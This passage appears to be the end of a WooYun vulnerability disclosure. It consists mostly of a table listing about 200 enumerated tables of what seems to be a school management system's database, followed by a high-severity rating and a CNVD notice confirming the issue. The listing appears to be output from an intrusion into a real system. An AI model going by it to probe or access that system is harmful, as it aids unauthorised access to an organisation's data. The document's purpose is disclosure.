| dbo.BRenwu                     | 15      |
| dbo.BWupinRenling              | 15      |
| dbo.BYongpinBangong            | 15      |
| dbo.JJibeiRenwuMobanS          | 15      |
| dbo.SchoolYingyong             | 15      |
| dbo.BPinglunMobanMinxi         | 14      |
| dbo.BTushu                     | 14      |
| dbo.BWenjuanWenti              | 14      |
| dbo.BWupinGuashi               | 14      |
| dbo.BZichanWeixiu              | 14      |
| dbo.JZidianShuju               | 14      |
| dbo.WKechengNeirong            | 14      |
| dbo.BKaoqin                    | 13      |
| dbo.BXunzhangLeixing           | 13      |
| dbo.JXiezuozu                  | 13      |
| dbo.BKebiaoKeshiAnpai          | 12      |
| dbo.BPingguZhishu              | 12      |
| dbo.BTushuJieyueJilu           | 12      |
| dbo.BTushuLeixing              | 12      |
| dbo.BYunpanZiyuan              | 12      |
| dbo.WPingkeDengji              | 12      |
| dbo.ZMingshiXunlian            | 12      |
| dbo.BBanjiTongzhiFujian        | 11      |
| dbo.GYingyongFenlei            | 11      |
| dbo.JJibei                     | 11      |
| dbo.JjifenDuihuan              | 11      |
| dbo.LXDaoXueCangKe             | 11      |
| dbo.XDiquQunzu                 | 11      |
| dbo.BWordBiaodan               | 10      |
| dbo.BZhiwuGuanxi               | 10      |
| dbo.BZichanZhaopian            | 10      |
| dbo.STikuLeixing               | 10      |
| dbo.BPinglunGuanliMinxiDefen   | 9       |
| dbo.BRenwuLiebiao              | 9       |
| dbo.BZDdaohang                 | 9       |
| dbo.JToupiaoJieguo             | 9       |
| dbo.JToupiaoZhuti              | 9       |
| dbo.LXDaoXueFaBuBanJi          | 9       |
| dbo.MMenhuYouqingFenlei        | 9       |
| dbo.XJiaocai                   | 9       |
| dbo.BAnquanRenyuan             | 8       |
| dbo.BPaikeGongkaikeMingxi      | 8       |
| dbo.BPaikeJiaoxue              | 8       |
| dbo.BRenshiKuozhan             | 8       |
| dbo.BWenjuanDanjuanM           | 8       |
| dbo.GYingyongYonghuTupian      | 8       |
| dbo.JQunzhuhuodong             | 8       |
| dbo.KTongShijianBiao           | 8       |
| dbo.WPingkeJiben               | 8       |
| dbo.ZMenhuRenyuanDefen         | 8       |
| dbo.ZMingshiXunlianTaolun      | 8       |
| dbo.ZZiyuanShipinJilu          | 8       |
| dbo.BCheliangSiji              | 7       |
| dbo.BHuiyiShi                  | 7       |
| dbo.BKaoqinWaichu              | 7       |
| dbo.BPinglunMoban              | 7       |
| dbo.BRenshiBiandong            | 7       |
| dbo.BTongxunFenzu              | 7       |
| dbo.BWenjuanMoban              | 7       |
| dbo.SKaoshiLeixing             | 7       |
| dbo.ZMingshiXunlianPinggu      | 7       |
| dbo.ZMingshiXunlianShezhi      | 7       |
| dbo.BAnquanQianyi              | 6       |
| dbo.BDajishi                   | 6       |
| dbo.BKaoqinChuchai             | 6       |
| dbo.JJigou                     | 6       |
| dbo.KTongJiangzhang            | 6       |
| dbo.MMenhuXitongLanmu          | 6       |
| dbo.WBofangqiPifu              | 6       |
| dbo.ZMingshiXunlianShipin      | 6       |
| dbo.ZMingshiXunlianWenjian     | 6       |
| dbo.BAnquanPeixun              | 5       |
| dbo.BDaiBanTixing              | 5       |
| dbo.BKaoqinShijian             | 5       |
| dbo.BKaoshi                    | 5       |
| dbo.BLuntanAdmin               | 5       |
| dbo.BPingguHuodong             | 5       |
| dbo.BPinglunGuanli             | 5       |
| dbo.BWenjuanShili              | 5       |
| dbo.GDanweiYingyong            | 5       |
| dbo.JJibeiFansi                | 5       |
| dbo.JJibeiZiyuanFujian         | 5       |
| dbo.PPingtaiTongzhi            | 5       |
| dbo.SNandu                     | 5       |
| dbo.ZMingshiXunlianNeirong     | 5       |
| dbo.ZMingshiXunlianPostLiebiao | 5       |
| dbo.ZMingshiZhuantiWenjian     | 5       |
| dbo.BGongZiTiao_Kz             | 4       |
| dbo.BKaoqinQingjia             | 4       |
| dbo.BShensuAnli                | 4       |
| dbo.BXieTongTixing             | 4       |
| dbo.JJibeiFansiGuanxi          | 4       |
| dbo.JjifenRenwu                | 4       |
| dbo.JjifenShouhuo              | 4       |
| dbo.JXiezuozuLeixing           | 4       |
| dbo.KTongZuoyeFujian           | 4       |
| dbo.LXDaoXueBiJi               | 4       |
| dbo.LXSaiKeBiaoZhunXiang       | 4       |
| dbo.MMenhuBanquan              | 4       |
| dbo.MMenhuJuese                | 4       |
| dbo.MMenhuJueseRenyuan         | 4       |
| dbo.MMenhuPeizhi               | 4       |
| dbo.MMenhuTianqi               | 4       |
| dbo.WPingkeJieguo              | 4       |
| dbo.XXueduan                   | 4       |
| dbo.ZMingshiPingjiaMubiao      | 4       |
| dbo.ZMingshiXunlianDaan        | 4       |
| dbo.ZMingshiXunlianRenyuan     | 4       |
| dbo.ZMingshiXunlianWenti       | 4       |
| dbo.BCheliangJiayou            | 3       |
| dbo.BKebiaoJiaoshiGuanxi       | 3       |
| dbo.BKebiaoXueqi               | 3       |
| dbo.BPingguMoban               | 3       |
| dbo.BPinglunGuanliMinxi        | 3       |
| dbo.BYunpanMulu                | 3       |
| dbo.JJibeiFujian               | 3       |
| dbo.JJibeiRenwuMobanM          | 3       |
| dbo.JQingziGuanxi              | 3       |
| dbo.LXDaoXueWenJianJia         | 3       |
| dbo.MMenhuBanshi               | 3       |
| dbo.PPingtaiTupian             | 3       |
| dbo.WeChat                     | 3       |
| dbo.WGerenShipinGuanxi         | 3       |
| dbo.WXJiemudan                 | 3       |
| dbo.BCheliang                  | 2       |
| dbo.BKebiaoJiaoshi             | 2       |
| dbo.BLuntanFujian              | 2       |
| dbo.BRenshiJianli              | 2       |
| dbo.BRenshiKuozhanXuanxiang    | 2       |
| dbo.BRenshiYonghuKuozhan       | 2       |
| dbo.BRenwuJieshuJilu           | 2       |
| dbo.BZuoye                     | 2       |
| dbo.GFenxiang                  | 2       |
| dbo.GYingyongDalei             | 2       |
| dbo.JHuodongZiyuan             | 2       |
| dbo.JJiaoshiLvli               | 2       |
| dbo.JXiezuozuHuodong           | 2       |
| dbo.JZidianLeixing             | 2       |
| dbo.KTongUCFunjian             | 2       |
| dbo.LXBanBanTongDaYi           | 2       |
| dbo.LXDaoXueDaYi               | 2       |
| dbo.LXDaoXueDaYiHuiDa          | 2       |
| dbo.LXSaiKe                    | 2       |
| dbo.LXSaiKeBiaoZhun            | 2       |
| dbo.MMenhuBanshiSheding        | 2       |
| dbo.WShipin                    | 2       |
| dbo.WXZhibo                    | 2       |
| dbo.XYunyi                     | 2       |
| dbo.ZMingshiGonggao            | 2       |
| dbo.ZZiyuanPinglun             | 2       |
| dbo.BAnquanAnianC              | 1       |
| dbo.BAnquanAnianM              | 1       |
| dbo.BAnquanJianchaxiangmu      | 1       |
| dbo.BCheliangBaoxian           | 1       |
| dbo.BCheliangBaoyang           | 1       |
| dbo.BCheliangNianjian          | 1       |
| dbo.BCheliangWeixiu            | 1       |
| dbo.BCheliangWeizhang          | 1       |
| dbo.BGerenKeti                 | 1       |
| dbo.BGerenLunwen               | 1       |
| dbo.BGerenRongyu               | 1       |
| dbo.BGongzuoJiShu              | 1       |
| dbo.BKaoqinQingjiaShenqing     | 1       |
| dbo.BKebiaoTeshuAnpai          | 1       |
| dbo.BRenshiGuanxi              | 1       |
| dbo.BRenshiLunwen              | 1       |
| dbo.BRenshiPeixun              | 1       |
| dbo.BRenshiRongyu              | 1       |
| dbo.BZichan                    | 1       |
| dbo.BZichanLeixing             | 1       |
| dbo.BZichanShenqing            | 1       |
| dbo.GShipin                    | 1       |
| dbo.JHuodongRenyuan            | 1       |
| dbo.JJifenShangpin             | 1       |
| dbo.JZaixianTongji             | 1       |
| dbo.LXDaoXueShiTi              | 1       |
| dbo.PPingtaiMozuChakan         | 1       |
| dbo.RPengyouDengji             | 1       |
| dbo.SMobanYangshi              | 1       |
| dbo.WBofangqi                  | 1       |
| dbo.WPingkeLeixing             | 1       |
| dbo.XDiquForBushu              | 1       |
| dbo.ZiDianFenLei               | 1       |
+--------------------------------+---------+

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-12-11 18:00

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT下发给江西分中心,由其后续协调网站管理单位处置.

最新状态：

暂无

漏洞评价：

评价